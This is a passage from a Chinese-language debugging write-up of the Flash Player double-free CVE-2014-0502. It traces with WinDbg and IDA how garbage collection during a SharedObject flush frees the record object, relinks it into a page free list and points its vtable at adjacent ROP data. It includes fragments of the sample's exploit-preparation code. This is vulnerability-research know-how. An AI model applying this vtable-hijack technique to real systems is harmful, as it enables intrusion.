,而且在程序跳转进入ROP的时候,record对象已经完成了析构。
3.3 漏洞利用流程调试
3.3.1 确定两次flush的发生
现在我们已经确定漏洞导致02aa41c0
处的首四个字节发生变化,那么就可以在这里设置一个写断点。回到程序第一次中断在第5个断点的时候,设置写断点,继续执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | 0 : 020 > ba w4 02aa41c0 0 : 020 > g Breakpoint 3 hit eax = 032f2020 ebx = 00000000 ecx = 02aa41c0 edx = 02ad6610 esi = 02aa41c0 edi = 02aa41c0 eip = 1010311d esp = 03a4f8d8 ebp = 03bf6a80 iopl = 0 nv up ei ng nz na pe cy cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000287 Flash32_11_7_700_261 + 0x10311d : 1010311d e8effeffff call Flash32_11_7_700_261 + 0x103011 ( 10103011 ) 0 : 020 > g Breakpoint 3 hit eax = 02aa41c0 ebx = 7c809832 ecx = 10f42c78 edx = 02aa4290 esi = 02aa4000 edi = 00000000 eip = 105ab619 esp = 03a4f8d0 ebp = 10f42c78 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule + 0x69da9 : 105ab619 0fb74e10 movzx ecx,word ptr [esi + 10h ] ds: 0023 : 02aa4010 = 0003 0 : 020 > dd 02aa41c0 02aa41c0 02aa4290 00000000 0369a000 00000000 02aa41d0 00000000 00000000 00000000 00000000 02aa41e0 00000000 00000000 00000000 00000000 02aa41f0 00000000 00000000 00000000 00000000 02aa4200 00000000 00000000 00000000 00000000 02aa4210 00000000 00000000 00000000 00000000 02aa4220 00000000 00000000 00000000 00000000 02aa4230 00000000 00000000 00000000 00000000 |
第二次中断的时候02aa41c0
处的数据修改为了02aa4290
,而且record对象已经完成了析构
看一下此时的函数调用流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 0 : 020 > kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 03a4f8e4 1014bc76 0334d308 03bf6a80 0368a7ac Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule + 0x69da9 03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261 + 0x14bc76 03a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule + 0x7505f 03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule + 0xe8d74 03a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261 + 0x35c09 03a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261 + 0xe3933 03a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261 + 0xf479d 03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261 + 0xb6339 03a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261 + 0xb68ff 03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261 + 0x101196 03a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261 + 0x101815 03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261 + 0x103075 03a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer + 0xed29a / / 02aa41c0 第一次出现在这里 03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer + 0xed36a 03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261 + 0xfe0fd 03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261 + 0x15e803 03a4fb80 10210e84 0368a000 10210ebc 03a4ff18 Flash32_11_7_700_261!DllUnregisterServer + 0x1db9f 03a4fb88 10210ebc 03a4ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer + 0x1e18b 03a4fb90 1003c391 00000001 0369a000 032f2020 Flash32_11_7_700_261!DllUnregisterServer + 0x1e1c3 03a4ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261 + 0x3c391 |
这里需要注意一下这些函数调用时的参数,回顾之前的分析,ecx对象的地址是02aa41c0
。看一下02aa41c0
第一次出现时的返回地址是102e0063
,在IDA中找到这个地址,该地址所在函数的伪代码是:
1 2 3 4 5 6 7 | void * __thiscall deconstruct(void * this, char a2) { sub_102DFF85(); if ( (a2 & 1 ) ! = 0 ) operator delete(this); return this; } |
到这里其实有点卡住了,从上面的代码可以看出这里在执行一些和释放相关的操作,也是在这个过程中修改了record对象的虚函数表指针。
但是为什么刚好就修改了虚函数表指针,为什么修改之后的数值刚好是ROP所在的位置,现在仍然不清楚。
停下来思考一下,隐约记得之前看0day安全的时候看到过针对C++虚函数表指针的漏洞利用方法,虽然细节记不大清除了,但是大概和变量之间的物理位置也有一些关系。在回过头来看一下cc.swf反编译得到的代码:
1 2 3 4 5 6 7 8 9 | / / 漏洞利用准备 gen_exp(); / / 在这里构造record对象 / / 根据不同系统构造不同rop if (sys = = 7 ) { rop = gen_rop3(); / / 然后在这里构造ROP rop.toString(); } ... |
我在想这样的代码顺序是否和漏洞利用有关,这完全是瞎猜的,但是为我后面的分析方向提供了思路。
根据以上所有的分析过程,有下面的结论:
- 程序第一次中断在第5个断点的时候,应该是在构造record对象,或者至少是在执行
gen_exp()
中的相关操作(后面调试发现是后者); - (后面调试发现这么想是错误的);
- 之后程序开始构造ROP,ROP相关数据位于
02aa4290
的位置; - 之后程序执行
terminate()
,会再次尝试析构,此时会导致双重释放; - 函数
deconstruct(102E005B)
和析构应该有关系
根据上面的这些结论,我想要在一切开始之前:在02aa4290
下一个写断点,检查ROP的构造情况;在函数deconstruct
下个断点,确定析构的发生;在02aa41c0
添加写断点,观察record对象的构造情况。
以上,重新回到第一次中断在10101810
的时候,检查02aa4290
,发现这里还没有ROP的数据,所以从这里开始设置相应断点。
第一次中断在
10101810
:02aa4290
中不存在ROP数据,record对象(02aa41c0
)中无数据设置相应断点:
1234560
:
000
> bl
~~
0
e
76b5d038
0001
(
0001
)
0
:
*
*
*
*
WINMM!midiOutPlayNextPolyEvent~~
1
e
10101810
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101810
/
/
调用rop_func
2
e
02aa4294
w
4
0001
(
0001
)
0
:
*
*
*
*
/
/
监控ROP数据写入
3
e
102e005b
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261!DllUnregisterServer
+
0xed362
/
/
deconstruct函数
4
e
02aa41c0
w
4
0001
(
0001
)
0
:
*
*
*
*
/
/
record对象
继续执行,在断点4中断四次,第五次中断时,
02aa41c0
处写入了一个四字节数据(不是10c3d06c
),同时在对之后的空间进行清空:1234567891011121314151617180
:
020
> g
Breakpoint
4
hit
eax
=
02aa41c0
ebx
=
00000000
ecx
=
02aa41c0
edx
=
00000000
esi
=
02aa41c0
edi
=
03b4f354
eip
=
100fd33a
esp
=
03b4f0ec
ebp
=
03b4f0f4
iopl
=
0
nv up ei pl zr na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000246
Flash32_11_7_700_261
+
0xfd33a
:
100fd33a
895e0c
mov dword ptr [esi
+
0Ch
],ebx ds:
0023
:
02aa41cc
=
00000000
0
:
020
> uf eip
Flash32_11_7_700_261
+
0xfd340
:
100fd340
895e14
mov dword ptr [esi
+
14h
],ebx
100fd343
895e18
mov dword ptr [esi
+
18h
],ebx
100fd346
895e1c
mov dword ptr [esi
+
1Ch
],ebx
100fd349
895e20
mov dword ptr [esi
+
20h
],ebx
100fd34c
895e24
mov dword ptr [esi
+
24h
],ebx
100fd34f
895e28
mov dword ptr [esi
+
28h
],ebx
100fd352
895e2c
mov dword ptr [esi
+
2Ch
],ebx
100fd355
895e30
mov dword ptr [esi
+
30h
],ebx
...
检查此时的函数调用流程:
12345678910110
:
020
> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information
not
available. Following frames may be wrong.
03b4f0f4
102dff6f
03259000
03a32c38
102dffea
Flash32_11_7_700_261
+
0xfd33a
03b4f29c
10252aa5
02a55bd0
10101917
0388d080
Flash32_11_7_700_261!DllUnregisterServer
+
0xed276
03b4f2ec
10283de5
03b4f388
00000000
0388d080
Flash32_11_7_700_261!DllUnregisterServer
+
0x5fdac
03b4f318
102e0fea
03b4f388
10101917
03a32c38
Flash32_11_7_700_261!DllUnregisterServer
+
0x910ec
03b4f378
102907b9
03a32c38
03a32a80
03a32c3e
Flash32_11_7_700_261!DllUnregisterServer
+
0xee2f1
03b4f4e0
1069036a
03c92ee0
00000000
03b4f54c
Flash32_11_7_700_261!DllUnregisterServer
+
0x9dac0
03b4f4e4
03c92ee0
00000000
03b4f54c
00000000
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule
+
0x14eafa
03b4f4e8
00000000
03b4f54c
00000000
03b4f4bc
0x3c92ee0
在IDA中检查各个返回地址所在函数,在第四个返回地址
102e0fea
所在函数中,看到了下面的伪代码:123456789101112131415...
if
( sub_1013FB10(v36)
=
=
2
)
{
v8
=
(_DWORD
*
)sub_102D7F84(v33);
v9
=
(
int
*
)sub_1022C395(
*
v8);
v10
=
*
(_DWORD
*
)(v7
+
28
);
v35
=
*
v9;
v34
=
sub_10610370(v10,
22
);
v11
=
sub_1013FB40(v6);
v27
=
sub_106119B0(v11);
v26
=
sub_106119B0(
"SharedObject.getLocal"
);
v12
=
sub_106119B0(v35);
sub_106104D0(
2146
, v12, v26, v27);
}
...
所以合理猜测这里就是在执行
var sobj:SharedObject = SharedObject.getLocal("record");
语句,并为record对象的数据准备空间。继续执行,又在第4个断点中断了一次,此时写入了正确的数值
10c3d06c
;继续执行,在断点2中断两次,第三次中断时,
02aa4290
处写入了ROP相关数据12345670
:
020
> g
Breakpoint
2
hit
eax
=
03cd20cc
ebx
=
02aa4290
ecx
=
00000031
edx
=
00000000
esi
=
03cd2008
edi
=
02aa4298
eip
=
107b42da
esp
=
03a4f390
ebp
=
03a4f398
iopl
=
0
nv up ei pl nz ac pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010216
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule
+
0x272a6a
:
107b42da
f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:
0023
:
02aa4298
=
0063006f
ds:
0023
:
03cd2008
=
77bf18d3
继续执行,第二次中断在
10101810
继续执行,中断在第3个断点,此时执行和析构相关操作,此时record对象还未被清空。因为在上面的伪代码中,发现这个函数中包含了
delete
操作,因此此时开始单步,看一下record对象的清空操作。- 程序中断在第4个断点,record对象被修改,但是不是清空操作(后来发现在第3个断点后,必然会有一次record对象被修改的操作,两个断点会连着中断)
- 程序第三次中断在
10101810
(因为下面包含了嵌套,所以说明接下来的第3个断点中断位于rop_func
中) 程序中断在第3个断点
- 程序中断在第4个断点
- 程序第四次中断在
10101810
(这里就是之前提到的那个嵌套) - 接下来会有大段的跳出,为了加快步骤,在第3个断点后面的条件判断语句处添加一个断点(
0:020> bp 102e0068
),然后直接继续执行。 程序中断在第4个断点
12345670
:
020
> g
Breakpoint
4
hit
eax
=
033f2020
ebx
=
00000000
ecx
=
02aa41c0
edx
=
02ad6610
esi
=
02aa41c0
edi
=
02aa41c0
eip
=
1010311d
esp
=
03b4f8d8
ebp
=
03cf2a80
iopl
=
0
nv up ei ng nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000287
Flash32_11_7_700_261
+
0x10311d
:
1010311d
e8effeffff call Flash32_11_7_700_261
+
0x103011
(
10103011
)
这里接下来的一段代码都是对this指针处数据的处理,我单步了一下,果然发现这个函数就是在对record对象处的数据进行清空,把这个函数叫做
clear_object
,整个函数执行完后:1234567891011121314150
:
020
> p
eax
=
00000001
ebx
=
00000000
ecx
=
02a60e60
edx
=
00000000
esi
=
02aa41c0
edi
=
02aa41c0
eip
=
1006631d
esp
=
03b4f8dc
ebp
=
03cf2a80
iopl
=
0
nv up ei pl zr na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000246
Flash32_11_7_700_261
+
0x6631d
:
1006631d
c3 ret
0
:
020
> dd
02aa41c0
02aa41c0
10b9e9b8
00000000
02c4a000
00000000
02aa41d0
00000000
00000000
00000000
00000000
02aa41e0
00000000
00000000
00000000
00000000
02aa41f0
00000000
00000000
00000000
00000000
02aa4200
00000000
00000000
00000000
00000000
02aa4210
00000000
00000000
00000000
00000000
02aa4220
00000000
00000000
00000000
00000000
02aa4230
00000000
00000000
00000000
00000000
程序中断在第5个断点,到达外层步骤c对应的条件判断语句处,直接跳转,没有到达delete语句。
- 程序中断在第4个断点,record对象的虚函数表指针被修改成了
02aa4290
。即本小节一开始提到的位置。把这个函数叫做change_vtable
。 - 继续执行,到达ROP
以上步骤进行一个整理:
1 2 3 4 5 6 7 8 9 | - 生成record对象 - 生成ROP - deconstruct - > - rop_func - > - deconstruct - > - rop_func - > - clear_object - > 这里释放了record对象空间 - 修改record对象的虚函数表指针 - 转入rop中执行 |
我在分析到这里的时候卡住了,因为我不理解这种deconstruct
的嵌套是怎么出现的,尝试了以下几种方法:
- 考虑到actionscript代码使用了多线程的方法,所以考虑上面调试过程中到达每个断点时,是否都处于同一线程中,因此重新回到之前的快照又走了一遍整个流程,同时使用
~.
命令查看当前线程,发现除了第一次中断在10101810
的时候,其余时刻都处于同一线程中; 根据上面的步骤整理,
rop_func
中发生了很多我不清楚的事,最终导致了第二次deconstruct
的发生。按照我一开始对于发生两次flush
的时机的理解(2.3.3小结中划掉的部分),我不太明白为什么会发生这样的嵌套,但是根据参考资料3,我知道这里发生了垃圾回收。于是我在IDA中跟踪了一下发生第二次deconstruct
时的函数调用流程,结果发现在函数sub_1014C1BD(second_flush)
中,deconstruct
和change_vtable
先后被调用:1234if
( v11(record_obj)
=
=
a2 || record_obj[
0x2E
]
=
=
a2 ) {
(
*
*
record_obj)(record_obj,
0
);
/
/
deconstruct
change_vtable(dword_10F428A0, record_obj);
}
同时在外层函数中,发现了函数调用:
sub_105B1590(*a1, "[mem] DRC reaped %u objects (%u kb) freeing %u pages (%u kb) in %.2f millis (%.4f s)\n", ArgList);
推测这里应该在做垃圾回收了;
上网搜索资料,找到了参考资料4,对2.3.3小结重新进行了一些补充,理解了上面的步骤整理中为什么
deconstruct
会嵌套出现;
到此为止我已经明白了两次flush发生的背景以及先后关系,正如2.3.3小结中介绍的那样,通过调试的方式证明了这个流程。
但是现在仍旧不清楚为什么record对象的虚函数表指针会被修改成ROP的地址。
3.3.2 change_vtable的真面目
在IDA中查看change_vtable
函数代码:
1 2 3 | v3 = object & 0xFFFFF000 ; ... * object = * v3; / / 修改虚函数表指针 |
不知道为什么和0xFFFFF000
有一个与操作。
后来绕了一些弯路才发现clear_object
也会调用change_vtable
函数(大概就是在IDA中按照函数调用流程追踪的时候发现的),这次回到第一次中断在deconstruct
函数的时候,同时在clear_object
上下断点,检查这个函数的功能。
最终当函数在clear_object
中断的时候,还是到达了清除object中内容的时候。先观察一下IDA中的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | void __usercall clear_object(_DWORD * this@<ecx>, int a2@<edi>) { * this = &off_10B9E9B8; write_data(this, a2); clear(this + 35 ); clear(this + 30 ); / / 下面的几个偏移都是 3 clear(this + 27 ); clear(this + 24 ); clear(this + 21 ); clear(this + 18 ); clear(this + 15 ); clear(this + 12 ); clear(this + 9 ); clear(this + 6 ); clear(this + 3 ); } |
这里的this指针指向的就是record对象。函数调用中,只有第一个函数调用不一样,在write_data
的伪代码中,发现了v5 = sub_10131B80("data");
语句,所以猜测可能和数据写入本地有关系。
接下来关注this指针的偏移,除了第一个偏移是5之外,其余偏移都是3,我们在windbg中检查一下这些位置的值
1 2 3 4 5 6 7 8 9 10 11 12 13 | 02aa41c0 10c3d06c 00000000 02c4a000 02aa41cc 02a60e60 0000001c 0000001d / / + 0C 02aa41d8 02a55bd8 00000006 00000007 / / + 18 02aa41e4 00000000 00000000 00000000 / / + 24 02aa41f0 00000000 00000000 00000000 / / + 30 02aa41fc 02a97290 00000067 00000068 / / + 3C 02aa4208 02a5eca0 0000007f 00000080 / / + 48 02aa4214 00000000 00000000 00000000 / / + 54 02aa4220 02a7b4f0 00000055 00000056 / / + 60 02aa422c 02b013a0 0000006d 0000006e / / + 6C 02aa4238 00000000 00000000 00000000 / / + 78 02aa4244 00000000 00000000 02a60e80 / / + 8C 02aa4250 0000001b 0000001c 02acf1b0 |
看起来这几个位置都存储了和this对象相关的其他对象,以及8字节的其他数据。
在clear
函数中:
1 2 3 4 5 6 7 8 | void __thiscall clear(_DWORD * this) { if ( * this && * this ! = &unk_10B72E08 ) link_in( * this); * this = 0 ; this[ 1 ] = 0 ; this[ 2 ] = 0 ; } |
会清除这些对象指针以及之后的8字节数据。
目前为止已经弄清楚了clear_object
是怎么清除record对象数据的。接下来看一下clear
函数中的link_in
函数是干什么的。
1 2 3 4 5 | void __cdecl link_in(unsigned int a1) { if ( a1 ) change_vtable(dword_10F428A0, a1); } |
link_in
函数调用了change_vtable
!
我们在windbg中步进,看一下change_vtable
究竟干了什么。
因为我之前调试过一遍,所以选择比较方便说明的偏移0x6C
位置的对象02b013a0
,进一步步入分析:
在change_vtable
函数中,程序首先做了如下计算:
1 2 3 4 5 6 | 0 : 020 > p eax = 02b013a0 ebx = 00000000 ecx = 10f428b8 edx = 02b013a0 esi = 02b013a0 edi = 02b013a0 eip = 105ab57a esp = 03b4f8b0 ebp = 03cf2a80 iopl = 0 nv up ei pl nz na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000206 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule + 0x69d0a : 105ab57a 81e600f0ffff and esi, 0FFFFF000h |
得到esi的值为02b01000
,也就是对02b013a0
对象做了一个4096字节的对齐,定位到了页首的位置。
接下来有一些取值和函数调用,目前不知道什么意思,直接跳过,一直到达未来会对vtable指针进行修改的位置,看一下这块的指令:
1 2 3 4 5 | 105ab611 8b442414 mov eax,dword ptr [esp + 14h ] / / ss: 0023 : 03b4f8c4 = 02b013a0 105ab615 8b16 mov edx,dword ptr [esi] / / ds: 0023 : 02b01000 = 02b01410 105ab617 8910 mov dword ptr [eax],edx ... 105ab61d 8906 mov dword ptr [esi],eax |
对应的伪代码:
1 2 | * object = * object_align; * object_align = object ; |
一开始我的关注点一直在修改vtable指针上面,所以没有意识到上面代码的功能。在调试的时候才发现,这不就是在进行链表的插入操作吗?
执行上述代码之前:
1 2 3 4 5 6 | 0 : 020 > dd 2b01000 l8 02b01000 02b01410 02b01640 00000000 00000000 02b01010 00700009 00000000 00000000 10f42aec 0 : 020 > dd 2b013a0 l8 02b013a0 442f3a43 6d75636f 73746e65 646e6120 02b013b0 74655320 676e6974 65742f73 412f7473 |
执行之后:
1 2 3 4 5 6 | 0 : 020 > dd 2b01000 l8 02b01000 02b013a0 02b01640 00000000 00000000 02b01010 00700008 00000000 00000000 10f42aec 0 : 020 > dd 2b013a0 l8 02b013a0 02b01410 6d75636f 73746e65 646e6120 02b013b0 74655320 676e6974 65742f73 412f7473 |
相当于将object插入到了object_align之后。
类比堆结构中的空闲双向链表结构,我猜测在每页的页首位置有32个字节的数据存储了空闲链表的表头结点数据(如果这里真的是个链表的话),其中首四个字节指向下一个节点,其余位置的数据功能并不清楚。其中最后四个字节10f42aec
处的数据如下,也可以看到和当前页链表有关的一些信息:
1 2 3 4 | 0 : 020 > dd 10f42aec la 10f42aec 10f428b0 00000024 00000070 02b01000 10f42afc 02b01000 02b01000 00000001 0000121e 10f42b0c 00000001 00000000 |
如果从2b01000
开始追踪首四个字节的话,可以得到如下地址列表,可以看到地址是逐渐增大的:
1 | 02b01000 - > 02b013a0 - > 02b01410 - > 02b01480 - > 02b014f0 - > 02b01560 - > 02b015d0 - > 00000000 |
继续单步下去,会重复上述步骤,并最终将record对象中数据清空。
所以实际上change_vtable
就是做了一个链表链入的操作。
4. 终极目标:漏洞利用原理分析
我们在此回顾一下漏洞利用流程(做了一些补充):
1 2 3 4 5 6 7 8 9 10 | | - 生成record对象,所在地址: 2aa41c0 | - 生成ROP,所在地址: 02aa4290 | - deconstruct(第一次flush操作) | | - rop_func | | | - 垃圾回收(第二次flush操作) | | | | - deconstruct (释放了record对象空间) | | | | - rop_func | | | | - clear_object | | | | - 链表链入(修改record对象的虚函数表指针) | | | - 继续第一次flush操作(调用record虚函数,导致转入rop中执行) |
在第一次flush
执行过程中,发生了垃圾回收,由于flush
判断机制存在问题,程序判断record对象需要进行flush
,于是释放了对象所在空间,并将其链入空闲链表中,这一操作导致record对象的虚函数表指针被修改。
有一点需要注意,就是reocord对象和ROP byteArray对象所在的地址非常接近,实际上两者应该是相邻的(所以AS代码中gen_exp
和gen_rop
的位置真的是有意义的)。在最终terminate
的时候,两个对象都会被垃圾回收,ROP所在地址大于record对象所在地址,所以最后链入链表的时候record在ROP前面,record对象所在空间的前四个字节(即虚函数指针所在位置)就会被被修改成ROP对象空间地址。
之后继续进行第一次的flush
操作,此时程序以为record对象尚未被释放,因此会继续使用其虚函数,致使程序转入ROP中执行。
至此,完成了对该漏洞利用原理的分析。
5. 总结
此次分析过程中遇到了两大问题:
- Action Script语法,worker和sharedObject的概念,flush操作以及垃圾回收的发生时机问题。此问题通过官方手册以及多篇分析文章得到了解决;
- Flash的底层数据结构以及对于空闲空间的处理方法。此问题通过问题1中获得的参考资料以及后期的逐步调试最终得到了一个猜测性质的结论,并和最终的漏洞利用结果形成了完整闭环。
有以下收获:
kb
函数调用流程 + IDA追踪的方式真的很有用,而且一定要记得及时对已知函数进行重命名,哪怕是像change_vtable
这样完全没有体现出函数功能的名字(^_^)- 要注意内存中数据的变化,关注一下具体的数值,可以在notepad里面做一下记录,有时候重复数据的出现会带来很大收获
- 我在调试的时候还通过设置大量断点的方式确定了整个漏洞利用的流程。其实我设置的方法是比较傻瓜的,但是如果位置确定的好,这种多断点调试的方法会有很大帮助。
6. 参考资料
- ActionScript® 3.0 Reference for the Adobe® Flash® Platform
- Inscription: Thwarting ActionScript Web Attacks From Within
- Deep analysis of CVE-2014-0502 — a double free story
- Understanding Garbage Collection in AS3